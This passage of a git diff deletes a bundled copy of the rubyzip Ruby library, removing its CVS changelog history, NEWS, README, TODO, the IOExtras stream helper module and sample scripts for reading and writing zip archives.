Updated install.rb. Fixed three tests that failed on 1.8.0. - -2003-08-14 05:40 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Added empty - implementations of atime and ctime - -2003-08-13 17:08 thomas - - * simpledist.rb: Moved simpledist to a separate repository called - 'misc' - - * NEWS: [no log message] - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method - names to the ruby convention underscore style - - * alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - a lot more of the stat methods. Mostly with dummy implementations - that return values that indicate that these features aren't - supported - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods - and tests in zipfilesystem. Mostly empty methods as permissions - and file types other than files and directories are not supported - - * install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the - modifications to std ruby classes to it. Refactored the ZipFsStat - tests and ZipFsStat. Added Module.forwardMessages and used it to - implement the forwarding of calls in ZipFsStat - - * zipfilesystem.rb, zipfilesystemtest.rb: Added - Zip::ZipFsFile::ZipFsStat and started implementing it and its - methods - - * zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and - added missing copyright notices - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb - is becoming big and not everyone will want to use that code. - Therefore zip.rb no longer requires it. Instead you must require - zipfilesystem.rb itself if you want to use it - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy - permission test methods - - * TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer - Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0 - now - -2003-08-12 19:18 thomas - - * zip.rb: Get rid of 1.8.0 warning - - * ziptest.rb: ruby 1.8.0 compatibility fix - - * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix - -2002-12-22 20:12 thomas - - * zip.rb: [no log message] - -2002-09-16 22:11 thomas - - * NEWS: [no log message] - -2002-09-15 17:16 thomas - - * samples/zipfind.rb: [no log message] - - * samples/zipfind.rb: [no log message] - -2002-09-14 22:59 thomas - - * samples/zipfind.rb: Added simple zipfind script - -2002-09-13 23:53 thomas - - * TODO: Added TODO about openmode for zip entries binary/ascii - - * NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's - latest build) - - * zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without - errors with ruby-1.7.2-4 (Andy's latest build) - -2002-09-12 00:20 thomas - - * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test - - * test/.cvsignore: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.delete/unlink - -2002-09-11 22:22 thomas - - * alltests.rb: [no log message] - - * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed - AbstractInputStream.each_line ignored its aSeparator argument. - Implemented more ZipFsFile methods - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is - now a module instead of a class, and is mixed into ZipFile, - instead of being made available as a property fileSystem - -2002-09-10 23:45 thomas - - * NEWS: Updated NEWS file - - * zip.rb: [no log message] - - * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. - Fix bug: Deflater.read uses separate buffer from produceInput - (feeding gets/readline etc) - -2002-09-09 23:48 thomas - - * .cvsignore: [no log message] - -2002-09-09 22:55 uid26649 - - * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and - AbstractInputStream.lineno. Tests for both - -2002-09-09 20:31 thomas - - * zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their - AbstractInputStream and AbstractOutputStream now lie about being - kind_of?(IO) - -2002-09-08 16:38 thomas - - * zipfilesystemtest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved - String additions from filearchive.rb to zip.rb (and moved tests - along too to ziptest.rb). Added ZipEntry.parentAsString and - ZipEntrySet.parent - - * ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound - - * TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for - keeping entries in a zip file. Tagged repository before this - commit, so this change can be rolled back, if it stinks - -2002-09-07 20:21 thomas - - * zip.rb, ziptest.rb: Implemented ZipEntry.<=> - - * ziptest.rb: Removed unused code - -2002-08-11 15:14 thomas - - * zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2 - -2002-07-27 15:25 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.pipe - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.link - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.zero? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for - ZipFsFile.directory? - -2002-07-26 23:56 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.socket? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.join - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.ftype - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.blockdev? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.size? (slightly different from size) - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.split - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink? - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Implemented ZipFsFile.mtime - - * zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file? - - * zip.rb, ziptest.rb: Implemented ZipEntry.file? - - * alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries - in it have unix file endings - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Started implementing ZipFileSystem - - * test/zipWithDirs.zip: Added a zip file for testing with a - directory structure - -2002-07-22 21:40 thomas - - * TODO: [no log message] - - * TODO: [no log message] - -2002-07-21 18:20 thomas - - * NEWS: [no log message] - - * TODO: Updated TODO with a refactoring idea for FileArchive - - * filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd - tests and cleaned up some of the FileArchive tests. extract and - add now have individual test fixtures. - - * filearchive.rb, filearchivetest.rb: Added tests for extract - called with regex src arg and Enumerable src arg - - * filearchivetest.rb: Added test for continueOnExistsProc when - extracting from a file archive - -2002-07-20 17:13 thomas - - * TODO, filearchivetest.rb, fileutils.rb, ziptest.rb, - test/.cvsignore: Added (failing) tests for FileArchive.add, added - code for creating test files for FileArchive.add tests. Added - fileutils.rb, which is borrowed from ruby 1.7.2 - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: Added tests for String extensions - - * alltests.rb, ziprequiretest.rb, ziptest.rb: [no log message] - - * install.rb: [no log message] - - * TODO: Updated TODO - - * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests - run - -2002-07-19 23:11 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb: [no log message] - -2002-07-08 13:41 thomas - - * TODO: [no log message] - -2002-06-11 19:47 thomas - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: [no log - message] - -2002-05-25 00:41 thomas - - * simpledist.rb: Added hackish script for creating dist files - -2002-04-30 21:22 thomas - - * TODO: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: Improved testing and wrote - some of the skeleton of extract. Still to do: Fix glob, so it - returns a hashmap instead of a list. The map will need to map the - full entry name to the last part of the name (which is only - really interesting for recursively extracted entries, otherwise - it is just the name). Glob.expandPathList should also output - directories with a trailing slash, which is doesn't right now. - - * filearchive.rb, filearchivetest.rb: Implemented the first few - tests for FileArchive - -2002-04-24 22:06 thomas - - * ziprequire.rb, ziprequiretest.rb: Appended copyright message to - ziprequire.rb and ziprequiretest.rb - - * zip.rb: Made ZipEntry tolerate invalid dates - -2002-04-21 00:57 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification - date/time correctly - -2002-04-20 02:44 thomas - - * ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest - - * ziprequire.rb: Made a warning go away - - * ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb, - test/rubycode.zip: Fixed a bug in ziprequire. Added - ziprequiretest.rb and test data files - -2002-04-19 22:43 thomas - - * zip.rb, ziptest.rb: Added recursion support to Glob module - -2002-04-18 21:37 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest - unit test suite. This module provides the functionality to expand - a 'glob pattern' given a list of files - Next step is to use this - module in ZipFile - -2002-04-01 22:55 thomas - - * NEWS: [no log message] - - * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a - proof-of-concept implementation of a require implementation that - can load ruby modules from a zip file. Needs unit tests and - polish. - -2002-03-31 01:13 thomas - - * README: [no log message] - -2002-03-30 16:14 thomas - - * TODO: [no log message] - - * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all - modifiers) to zip.rb. Made README 'RDoc compliant' - -2002-03-29 23:29 thomas - - * TODO: [no log message] - - * example.rb, samples/.cvsignore, samples/example.rb, - samples/gtkRubyzip.rb: Moved example.rb to samples/. Added - another sample gtkRubyzip.rb - - * NEWS, TODO, TODO: [no log message] - - * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, - ziptest.rb, test/.cvsignore, test/file1.txt, - test/file1.txt.deflatedData, test/file2.txt, - test/testDirectory.bin: Added test/ directory and moved the - manually created test data files into it. Changed ziptest.rb so - it runs in test/ directory - - * TODO: [no log message] - - * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip - entries when changing zip file - - * zip.rb: Performance optimization: Only write new ZipFile, if it - has been changed. The test suite runs in half the time now. - -2002-03-28 22:12 thomas - - * TODO: [no log message] - -2002-03-23 17:31 thomas - - * TODO: [no log message] - -2002-03-22 22:47 thomas - - * NEWS: [no log message] - - * NEWS, TODO: [no log message] - - * ziptest.rb: Found the tests that didn't use blocks to make sure - input streams are closed as soon as they arent used anymore and - got rid of the GC.start - - * ziptest.rb: All tests run on windows ruby 1.6.6 - - * zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which - needed to open zipfile file in binary mode. Added another - workaround for the return value from File.open(name) where name - is the name of a directory - ruby returns different exceptions in - linux, win/cygwin and windows. A number of tests failed because - in windows you cant delete a file that is open. Fixed by changing - ziptest.rb to use ZipInputStream.getInputStream with blocks a few - places. There is a hack in CommanZipFileFixture.setup where the - GC is explicitly invoked. Should be fixed with blocks instead. - The only currently failing test fails because the test data - creation fails to add a comment to 4entry.zip, because echo eats - the remainder of the line including the pipe character and the - following zip -z 4 entry.zip command - -2002-03-21 22:18 thomas - - * NEWS: [no log message] - - * NEWS, README, TODO, install.rb: Added install.rb - - * ziptest.rb: [no log message] - - * NEWS, TODO: [no log message] - - * .cvsignore, TODO, zip.rb, ziptest.rb: Added - test_extractDirectoryExistsAsFileOverwrite and fixed to pass - - * zip.rb, ziptest.rb: Extraction of directory entries is now - supported - -2002-03-20 21:59 thomas - - * NEWS: [no log message] - - * COPYING, README, README.txt: Removed COPYING, renamed README.txt - to README. Updated README - - * example.rb: Fixed example.rb added example that shows zip file - manipulation with Zip::ZipFile - - * .cvsignore: [no log message] - - * TODO, zip.rb, ziptest.rb: Directories can now be added (not - recursively, the directory entry itself. Directories are - recognized by a empty entries with a trailing /. The purpose of - storing them explicitly in the zip file is to be able to store - permission and ownership information - - * TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was - only included in ziptest.rb - - * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError - instead of RuntimeError. ZipError now has several subclasses. - -2002-03-19 22:26 thomas - - * TODO: [no log message] - - * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block - - * TODO, zip.rb, ziptest.rb: Unit test for adding new entry with - name that already exists in archive, and fixed to pass test - - * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing - entry - - * TODO: [no log message] - - * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with - block - -2002-03-18 21:06 thomas - - * TODO: [no log message] - - * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. - - * TODO, zip.rb, ziptest.rb: Refactoring: - - Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry. - - Collapsed BasicZipFile and ZipFile into ZipFile. - - * zip.rb: Removed method that was never called - -2002-03-17 22:33 thomas - - * TODO: [no log message] - - * ziptest.rb: Run tests with =true as default - - * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without - warnings - - * .cvsignore: [no log message] - - * zip.rb, ziptest.rb: Down to one failing test - - * zip.rb, ziptest.rb: [no log message] - - * TODO, zip.rb, ziptest.rb: [no log message] - -2002-02-25 19:42 thomas - - * TODO: Added more todos - -2002-02-23 15:51 thomas - - * zip.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-02-03 18:47 thomas - - * ziptest.rb: [no log message] - -2002-02-02 15:58 thomas - - * example.rb, zip.rb, ziptest.rb: [no log message] - - * .cvsignore: [no log message] - - * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to - BasicZipFile - - * TODO: [no log message] - - * ziptest.rb: More test cases - all of them failing, so now there - are 18 failing test cases. Three more test cases to implement, - then it is time for the production code - -2002-02-01 21:49 thomas - - * ziptest.rb: [no log message] - - * ziptest.rb: Also run SimpleZipFile tests for ZipFile. - - * example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile. - The new ZipFile will have many more methods that are useful for - managing archives. - -2002-01-29 20:30 thomas - - * TODO: [no log message] - -2002-01-26 00:18 thomas - - * NEWS: [no log message] - - * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You - get an Errno::EEXISTS instead of an Errno::EISDIR if you try to - open a file for writing that is a directory. - - * ziptest.rb: Fixed test that failed on windows because of CRLF - line ending - -2002-01-25 23:58 thomas - - * ziptest.rb: [no log message] - - * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty - deflated entry in zip file - - * .cvsignore: [no log message] - - * ziptest.rb: [no log message] - - * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now - fully functional in the form of ZipOutputStream. - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-01-20 16:00 thomas - - * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. - - * .cvsignore: [no log message] - - * .cvsignore: Added .cvsignore file - - * zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor - fixes - -2002-01-19 23:28 thomas - - * example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!! - - ZipOutputStream in progress - - Wrapped rubyzip in namespace module Zip. - -2002-01-17 18:52 thomas - - * ziptest.rb: Fail nicely if the user doesn't have info-zip - compatible zip in the path - -2002-01-10 18:02 thomas - - * zip.rb: Adjusted chunk size to 32k after a few perf measurements - -2002-01-09 22:10 thomas - - * README.txt: License now same as rubys, not just GPL - -2002-01-06 00:19 thomas - - * README.txt: [no log message] - -2002-01-05 23:09 thomas - - * NEWS, README.txt, NEWS: Updated NEWS file - - * README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for - decompressors and a tests for ZipLocalEntry, - ZipCentralDirectoryEntry and ZipCentralDirectory for handling of - corrupt data - - * file1.txt.deflatedData: deflated data extracted from a zip file. - contains file1.txt - - * zip.rb: Changed references to Inflate to Zlib::inflate for - compatibility with ruby-zlib-0.5 - - * README.txt, zip.rb, ziptest.rb: [no log message] - - * example.rb, NEWS: [no log message] - - * COPYING, README.txt: [no log message] - - * ziptest.rb: Fixed problem with test file creation - - * README.txt: Updated README.txt - - * zip.rb, ziptest.rb: ZipFile now works - -2002-01-04 21:51 thomas - - * testDirectory.bin, zip.rb, ziptest.rb: - ZipCentralDirectoryEntryTest now runs - - * ziptest.rb: Changed - ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry - so it works on both unix too. It only worked on windows because - the test made assumptions about the compressed size and crc of an - entry, but that differs depending on the OS because of the CRLF - thing. - - * README.txt: Added note about zlib.c patch - -2002-01-02 18:48 thomas - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: initial - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: Initial revision - diff --git a/lib/zip/NEWS b/lib/zip/NEWS deleted file mode 100644 index a72956fd69..0000000000 --- a/lib/zip/NEWS +++ /dev/null @@ -1,162 +0,0 @@ -= Version 0.9.4 - -Changed ZipOutputStream.put_next_entry signature (API CHANGE!). Now -allows comment, extra field and compression method to be specified. - -= Version 0.9.3 - -Fixed: Added ZipEntry::name_encoding which retrieves the character -encoding of the name and comment of the entry. Also added convenience -methods ZipEntry::name_in(enc) and ZipEntry::comment_in(enc) for -getting zip entry names and comments in a specified character -encoding. - -= Version 0.9.2 - -Fixed: Renaming an entry failed if the entry's new name was a -different length than its old name. (Diego Barros) - -= Version 0.9.1 - -Added symlink support and support for unix file permissions. Reduced -memory usage during decompression. - -New methods ZipFile::[follow_symlinks, restore_times, restore_permissions, restore_ownership]. -New methods ZipEntry::unix_perms, ZipInputStream::eof?. -Added documentation and test for new ZipFile::extract. -Added some of the API suggestions from sf.net #1281314. -Applied patch for sf.net bug #1446926. -Applied patch for sf.net bug #1459902. -Rework ZipEntry and delegate classes. - -= Version 0.5.12 - -Fixed problem with writing binary content to a ZipFile in MS Windows. - -= Version 0.5.11 - -Fixed name clash file method copy_stream from fileutils.rb. Fixed -problem with references to constant CHUNK_SIZE. -ZipInputStream/AbstractInputStream read is now buffered like ruby IO's -read method, which means that read and gets etc can be mixed. The -unbuffered read method has been renamed to sysread. - -= Version 0.5.10 - -Fixed method name resolution problem with FileUtils::copy_stream and -IOExtras::copy_stream. - -= Version 0.5.9 - -Fixed serious memory consumption issue - -= Version 0.5.8 - -Fixed install script. - -= Version 0.5.7 - -install.rb no longer assumes it is being run from the toplevel source -dir. Directory structure changed to reflect common ruby library -project structure. Migrated from RubyUnit to Test::Unit format. Now -uses Rake to build source packages and gems and run unit tests. - -= Version 0.5.6 - -Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of -Errno::EINVAL for some invalid seeks. Fixed 'version needed to -extract'-field incorrect in local headers. - -= Version 0.5.5 - -Fix for a problem with writing zip files that concerns only ruby 1.8.1. - -= Version 0.5.4 - -Significantly reduced memory footprint when modifying zip files. - -= Version 0.5.3 - -Added optimization to avoid decompressing and recompressing individual -entries when modifying a zip archive. - -= Version 0.5.2 - -Fixed ZipFile corruption bug in ZipFile class. Added basic unix -extra-field support. - -= Version 0.5.1 - -Fixed ZipFile.get_output_stream bug. - -= Version 0.5.0 - -List of changes: -* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility -* Changed method names from camelCase to rubys underscore style. -* Installs to zip/ subdir instead of directly to site_ruby -* Added ZipFile.directory and ZipFile.file - each method return an -object that can be used like Dir and File only for the contents of the -zip file. -* Added sample application zipfind which works like Find.find, only -Zip::ZipFind.find traverses into zip archives too. - -Bug fixes: -* AbstractInputStream.each_line with non-default separator - - -= Version 0.5.0a - -Source reorganized. Added ziprequire, which can be used to load ruby -modules from a zip file, in a fashion similar to jar files in -Java. Added gtkRubyzip, another sample application. Implemented -ZipInputStream.lineno and ZipInputStream.rewind - -Bug fixes: - -* Read and write date and time information correctly for zip entries. -* Fixed read() using separate buffer, causing mix of gets/readline/read to -cause problems. - -= Version 0.4.2 - -Performance optimizations. Test suite runs in half the time. - -= Version 0.4.1 - -Windows compatibility fixes. - -= Version 0.4.0 - -Zip::ZipFile is now mutable and provides a more convenient way of -modifying zip archives than Zip::ZipOutputStream. Operations for -adding, extracting, renaming, replacing and removing entries to zip -archives are now available. - -Runs without warnings with -w switch. - -Install script install.rb added. - - -= Version 0.3.1 - -Rudimentary support for writing zip archives. - - -= Version 0.2.2 - -Fixed and extended unit test suite. Updated to work with ruby/zlib -0.5. It doesn't work with earlier versions of ruby/zlib. - - -= Version 0.2.0 - -Class ZipFile added. Where ZipInputStream is used to read the -individual entries in a zip file, ZipFile reads the central directory -in the zip archive, so you can get to any entry in the zip archive -without having to skipping through all the preceeding entries. - - -= Version 0.1.0 - -First working version of ZipInputStream. diff --git a/lib/zip/README b/lib/zip/README deleted file mode 100644 index 79546e0b34..0000000000 --- a/lib/zip/README +++ /dev/null @@ -1,72 +0,0 @@ -= rubyzip - -rubyzip is a ruby library for reading and writing zip files. - -= Install - -If you have rubygems you can install rubyzip directly from the gem -repository - - gem install rubyzip - -Otherwise obtain the source (see below) and run - - ruby install.rb - -To run the unit tests you need to have test::unit installed - - rake test - - -= Documentation - -There is more than one way to access or create a zip archive with -rubyzip. The basic API is modeled after the classes in -java.util.zip from the Java SDK. This means there are classes such -as Zip::ZipInputStream, Zip::ZipOutputStream and -Zip::ZipFile. Zip::ZipInputStream provides a basic interface for -iterating through the entries in a zip archive and reading from the -entries in the same way as from a regular File or IO -object. ZipOutputStream is the corresponding basic output -facility. Zip::ZipFile provides a mean for accessing the archives -central directory and provides means for accessing any entry without -having to iterate through the archive. Unlike Java's -java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means -it can be used to change zip files as well. - -Another way to access a zip archive with rubyzip is to use rubyzip's -Zip::ZipFileSystem API. Using this API files can be read from and -written to the archive in much the same manner as ruby's builtin -classes allows files to be read from and written to the file system. - -rubyzip also features the -zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which -allows ruby to load ruby modules from zip archives. - -For details about the specific behaviour of classes and methods refer -to the test suite. Finally you can generate the rdoc documentation or -visit http://rubyzip.sourceforge.net. - -= License - -rubyzip is distributed under the same license as ruby. See -http://www.ruby-lang.org/en/LICENSE.txt - - -= Website and Project Home - -http://rubyzip.sourceforge.net - -http://sourceforge.net/projects/rubyzip - -== Download (tarballs and gems) - -http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377 - -= Authors - -Thomas Sondergaard (thomas at sondergaard.cc) - -Technorama Ltd. (oss-ruby-zip at technorama.net) - -extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) \ No newline at end of file diff --git a/lib/zip/TODO b/lib/zip/TODO deleted file mode 100644 index e24cde5779..0000000000 --- a/lib/zip/TODO +++ /dev/null @@ -1,16 +0,0 @@ - -* ZipInputStream: Support zip-files with trailing data descriptors -* Adjust rdoc stylesheet to advertise inherited methods if possible -* Suggestion: Add ZipFile/ZipInputStream example that demonstrates extracting all entries. -* Suggestion: ZipFile#extract destination should default to "." -* Suggestion: ZipEntry should have extract(), get_input_stream() methods etc -* SUggestion: ZipInputStream/ZipOutputStream should accept an IO object in addition to a filename. -* (is buffering used anywhere with write?) -* Inflater.sysread should pass the buffer to produce_input. -* Implement ZipFsDir.glob -* ZipFile.checkIntegrity method -* non-MSDOS permission attributes -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* Packager version, required unpacker version in zip headers -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* implement storing attributes and ownership information diff --git a/lib/zip/ioextras.rb b/lib/zip/ioextras.rb deleted file mode 100644 index c611535791..0000000000 --- a/lib/zip/ioextras.rb +++ /dev/null @@ -1,165 +0,0 @@ -module IOExtras #:nodoc: - - CHUNK_SIZE = 131072 - - RANGE_ALL = 0..-1 - - def self.copy_stream(ostream, istream) - s = '' - ostream.write(istream.read(CHUNK_SIZE, s)) until istream.eof? - end - - def self.copy_stream_n(ostream, istream, nbytes) - s = '' - toread = nbytes - while (toread > 0 && ! istream.eof?) - tr = toread > CHUNK_SIZE ? CHUNK_SIZE : toread - ostream.write(istream.read(tr, s)) - toread -= tr - end - end - - - # Implements kind_of? in order to pretend to be an IO object - module FakeIO - def kind_of?(object) - object == IO || super - end - end - - # Implements many of the convenience methods of IO - # such as gets, getc, readline and readlines - # depends on: input_finished?, produce_input and read - module AbstractInputStream - include Enumerable - include FakeIO - - def initialize - super - @lineno = 0 - @outputBuffer = "" - end - - attr_accessor :lineno - - def read(numberOfBytes = nil, buf = nil) - tbuf = nil - - if @outputBuffer.length > 0 - if numberOfBytes <= @outputBuffer.length - tbuf = @outputBuffer.slice!(0, numberOfBytes) - else - numberOfBytes -= @outputBuffer.length if (numberOfBytes) - rbuf = sysread(numberOfBytes, buf) - tbuf = @outputBuffer - tbuf << rbuf if (rbuf) - @outputBuffer = "" - end - else - tbuf = sysread(numberOfBytes, buf) - end - - return nil unless (tbuf) - - if buf - buf.replace(tbuf) - else - buf = tbuf - end - - buf - end - - def readlines(aSepString = $/) - retVal = [] - each_line(aSepString) { |line| retVal << line } - return retVal - end - - def gets(aSepString=$/) - @lineno = @lineno.next - return read if aSepString == nil - aSepString="#{$/}#{$/}" if aSepString == "" - - bufferIndex=0 - while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil) - bufferIndex=@outputBuffer.length - if input_finished? - return @outputBuffer.empty? ? nil : flush - end - @outputBuffer << produce_input - end - sepIndex=matchIndex + aSepString.length - return @outputBuffer.slice!(0...sepIndex) - end - - def flush - retVal=@outputBuffer - @outputBuffer="" - return retVal - end - - def readline(aSepString = $/) - retVal = gets(aSepString) - raise EOFError if retVal == nil - return retVal - end - - def each_line(aSepString = $/) - while true - yield readline(aSepString) - end - rescue EOFError - end - - alias_method :each, :each_line - end - - - # Implements many of the output convenience methods of IO. - # relies on << - module AbstractOutputStream - include FakeIO - - def write(data) - self << data - data.to_s.length - end - - - def print(*params) - self << params.join << $\.to_s - end - - def printf(aFormatString, *params) - self << sprintf(aFormatString, *params) - end - - def putc(anObject) - self << case anObject - when Fixnum then anObject.chr - when String then anObject - else raise TypeError, "putc: Only Fixnum and String supported" - end - anObject - end - - def puts(*params) - params << "\n" if params.empty? - params.flatten.each { - |element| - val = element.to_s - self << val - self << "\n" unless val[-1,1] == "\n" - } - end - - end - -end # IOExtras namespace module - - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example.rb b/lib/zip/samples/example.rb deleted file mode 100755 index 741afa765e..0000000000 --- a/lib/zip/samples/example.rb +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" -system("zip example.zip example.rb gtkRubyzip.rb") - -require 'zip/zip' - -####### Using ZipInputStream alone: ####### - -Zip::ZipInputStream.open("example.zip") { - |zis| - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" -} - - -####### Using ZipFile to read the directory of a zip file: ####### - -zf = Zip::ZipFile.new("example.zip") -zf.each_with_index { - |entry, index| - - puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}" - # use zf.get_input_stream(entry) to get a ZipInputStream for the entry - # entry can be the ZipEntry object or any object which has a to_s method that - # returns the name of the entry. -} - - -####### Using ZipOutputStream to write a zip file: ####### - -Zip::ZipOutputStream.open("exampleout.zip") { - |zos| - zos.put_next_entry("the first little entry") - zos.puts "Hello hello hello hello hello hello hello hello hello" - - zos.put_next_entry("the second little entry") - zos.puts "Hello again" - - # Use rubyzip or your zip client of choice to verify - # the contents of exampleout.zip -} - -####### Using ZipFile to change a zip file: ####### - -Zip::ZipFile.open("exampleout.zip") { - |zf| - zf.add("thisFile.rb", "example.rb") - zf.rename("thisFile.rb", "ILikeThisName.rb") - zf.add("Again", "example.rb") -} - -# Lets check -Zip::ZipFile.open("exampleout.zip") { - |zf| - puts "Changed zip file contains: #{zf.entries.join(', ')}" - zf.remove("Again") - puts "Without 'Again': #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example_filesystem.rb b/lib/zip/samples/example_filesystem.rb deleted file mode 100755 index 0cacbd2aa2..0000000000 --- a/lib/zip/samples/example_filesystem.rb +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zipfilesystem' - -EXAMPLE_ZIP = "filesystem.zip" - -File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP) - -Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) { - |zf| - zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" } - zf.dir.mkdir("dir1") - zf.dir.chdir("dir1") - zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" } - puts zf.file.read("file1.txt") - puts zf.file.read("../file1.txt") - zf.dir.chdir("..") - zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" } - puts "Entries: #{zf.entries.join(', ')}" -} - 